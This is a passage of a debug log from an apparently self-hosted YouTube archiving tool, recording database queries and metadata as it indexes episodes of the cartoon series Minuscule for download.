"KbxvadhXSZ0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=KbxvadhXSZ0", "playlist_index" => 108, "timestamp" => 1577201400, "title" => "Minuscule - mon beau sapin/O Tannenbaum (season 1)", "upload_date" => "20191224"} 00:53:26.490 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1749.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:26.491 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=846.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:26.493 [debug] QUERY OK source="media_items" db=1.0ms idle=846.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-12-24 15:30:00Z], 4] 00:53:26.514 [debug] QUERY OK source="media_items" db=19.9ms idle=848.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - mon beau sapin/O Tannenbaum (season 1)", "6461f0c9-6c56-478b-a148-82c6c2063eac", "KbxvadhXSZ0", 337, false, 4, "https://www.youtube.com/watch?v=KbxvadhXSZ0", 108, "/downloads/Miniscule Season 1/2019-12-24 Minuscule - mon beau sapin⧸O Tannenbaum (season 1)/Minuscule - mon beau sapin⧸O Tannenbaum (season 1) [KbxvadhXSZ0].mp4", false, false, false, [], 1, ~U[2019-12-24 15:30:00Z], ~U[2025-12-14 07:53:26Z], ~U[2025-12-14 07:53:26Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - mon beau sapin/O Tannenbaum (season 1)", "KbxvadhXSZ0", 337, false, 4, "https://www.youtube.com/watch?v=KbxvadhXSZ0", "/downloads/Miniscule Season 1/2019-12-24 Minuscule - mon beau sapin⧸O Tannenbaum (season 1)/Minuscule - mon beau sapin⧸O Tannenbaum (season 1) [KbxvadhXSZ0].mp4", false, ~U[2019-12-24 15:30:00Z]] 00:53:26.514 [debug] QUERY OK source="sources" db=0.3ms idle=772.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:26.515 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=24.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:26.516 [debug] QUERY OK source="media_items" db=0.6ms idle=24.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89107] 00:53:26.517 [debug] Current batch of media processed. Will check again in 1000ms 00:53:27.518 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #B4ROWwNEC3o/youtube video #B4ROWwNEC3o [B4ROWwNEC3o].NA", "id" => "B4ROWwNEC3o", "original_url" => "https://www.youtube.com/watch?v=B4ROWwNEC3o", "playlist_index" => 109, "title" => "youtube video #B4ROWwNEC3o"} 00:53:27.519 [debug] QUERY OK source="sources" db=0.4ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:27.519 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #ZgvYECo4yZg/youtube video #ZgvYECo4yZg [ZgvYECo4yZg].NA", "id" => "ZgvYECo4yZg", "original_url" => "https://www.youtube.com/watch?v=ZgvYECo4yZg", "playlist_index" => 110, "title" => "youtube video #ZgvYECo4yZg"} 00:53:27.520 [debug] QUERY OK source="sources" db=0.3ms idle=1005.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:27.521 [debug] Current batch of media processed. Will check again in 1000ms 00:53:28.522 [debug] Current batch of media processed. Will check again in 1000ms 00:53:29.523 [debug] Current batch of media processed. Will check again in 1000ms 00:53:30.524 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 344, "filename" => "/downloads/Miniscule Season 1/2019-12-03 Minuscule - Le Totem⧸Totem (Season 1)/Minuscule - Le Totem⧸Totem (Season 1) [ReVsWCRb2Ls].mp4", "id" => "ReVsWCRb2Ls", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ReVsWCRb2Ls", "playlist_index" => 111, "timestamp" => 1575387003, "title" => "Minuscule - Le Totem/Totem (Season 1)", "upload_date" => "20191203"} 00:53:30.525 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1879.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:30.526 [debug] QUERY OK source="sources" db=0.4ms idle=1777.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:30.528 [debug] QUERY OK source="media_items" db=1.1ms idle=881.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-12-03 15:30:03Z], 4] 00:53:30.532 [debug] QUERY OK source="media_items" db=2.9ms idle=883.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Le Totem/Totem (Season 1)", "c7994dd4-3907-40ea-8dce-84ae58007c0e", "ReVsWCRb2Ls", 344, false, 4, "https://www.youtube.com/watch?v=ReVsWCRb2Ls", 111, "/downloads/Miniscule Season 1/2019-12-03 Minuscule - Le Totem⧸Totem (Season 1)/Minuscule - Le Totem⧸Totem (Season 1) [ReVsWCRb2Ls].mp4", false, false, false, [], 1, ~U[2019-12-03 15:30:03Z], ~U[2025-12-14 07:53:30Z], ~U[2025-12-14 07:53:30Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Le Totem/Totem (Season 1)", "ReVsWCRb2Ls", 344, false, 4, "https://www.youtube.com/watch?v=ReVsWCRb2Ls", "/downloads/Miniscule Season 1/2019-12-03 Minuscule - Le Totem⧸Totem (Season 1)/Minuscule - Le Totem⧸Totem (Season 1) [ReVsWCRb2Ls].mp4", false, ~U[2019-12-03 15:30:03Z]] 00:53:30.532 [debug] QUERY OK source="sources" db=0.4ms idle=782.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:30.533 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:30.534 [debug] QUERY OK source="media_items" db=0.6ms idle=7.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89109] 00:53:30.535 [debug] Current batch of media processed. Will check again in 1000ms 00:53:31.147 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:31.536 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #8lzgstiNh74/youtube video #8lzgstiNh74 [8lzgstiNh74].NA", "id" => "8lzgstiNh74", "original_url" => "https://www.youtube.com/watch?v=8lzgstiNh74", "playlist_index" => 112, "title" => "youtube video #8lzgstiNh74"} 00:53:31.537 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:31.538 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #g2cwbDUcbx8/youtube video #g2cwbDUcbx8 [g2cwbDUcbx8].NA", "id" => "g2cwbDUcbx8", "original_url" => "https://www.youtube.com/watch?v=g2cwbDUcbx8", "playlist_index" => 113, "title" => "youtube video #g2cwbDUcbx8"} 00:53:31.538 [debug] QUERY OK source="sources" db=0.4ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:31.539 [debug] Current batch of media processed. Will check again in 1000ms 00:53:32.540 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #PtAgxzFReLk/youtube video #PtAgxzFReLk [PtAgxzFReLk].NA", "id" => "PtAgxzFReLk", "original_url" => "https://www.youtube.com/watch?v=PtAgxzFReLk", "playlist_index" => 114, "title" => "youtube video #PtAgxzFReLk"} 00:53:32.541 [debug] QUERY OK source="sources" db=0.4ms idle=1393.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:32.541 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #rSaBjI-OV2E/youtube video #rSaBjI-OV2E [rSaBjI-OV2E].NA", "id" => "rSaBjI-OV2E", "original_url" => "https://www.youtube.com/watch?v=rSaBjI-OV2E", "playlist_index" => 115, "title" => "youtube video #rSaBjI-OV2E"} 00:53:32.542 [debug] QUERY OK source="sources" db=0.3ms idle=1004.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:32.543 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #iua1s4f7b40/youtube video #iua1s4f7b40 [iua1s4f7b40].NA", "id" => "iua1s4f7b40", "original_url" => "https://www.youtube.com/watch?v=iua1s4f7b40", "playlist_index" => 116, "title" => "youtube video #iua1s4f7b40"} 00:53:32.543 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:32.544 [debug] Current batch of media processed. Will check again in 1000ms 00:53:33.545 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #Bs3X_iV_9tA/youtube video #Bs3X_iV_9tA [Bs3X_iV_9tA].NA", "id" => "Bs3X_iV_9tA", "original_url" => "https://www.youtube.com/watch?v=Bs3X_iV_9tA", "playlist_index" => 117, "title" => "youtube video #Bs3X_iV_9tA"} 00:53:33.546 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1791.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:33.546 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #hfHwZiEK6Vo/youtube video #hfHwZiEK6Vo [hfHwZiEK6Vo].NA", "id" => "hfHwZiEK6Vo", "original_url" => "https://www.youtube.com/watch?v=hfHwZiEK6Vo", "playlist_index" => 118, "title" => "youtube video #hfHwZiEK6Vo"} 00:53:33.547 [debug] QUERY OK source="sources" db=0.3ms idle=1005.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:33.547 [debug] Current batch of media processed. Will check again in 1000ms 00:53:34.549 [debug] Current batch of media processed. Will check again in 1000ms 00:53:35.550 [debug] Current batch of media processed. Will check again in 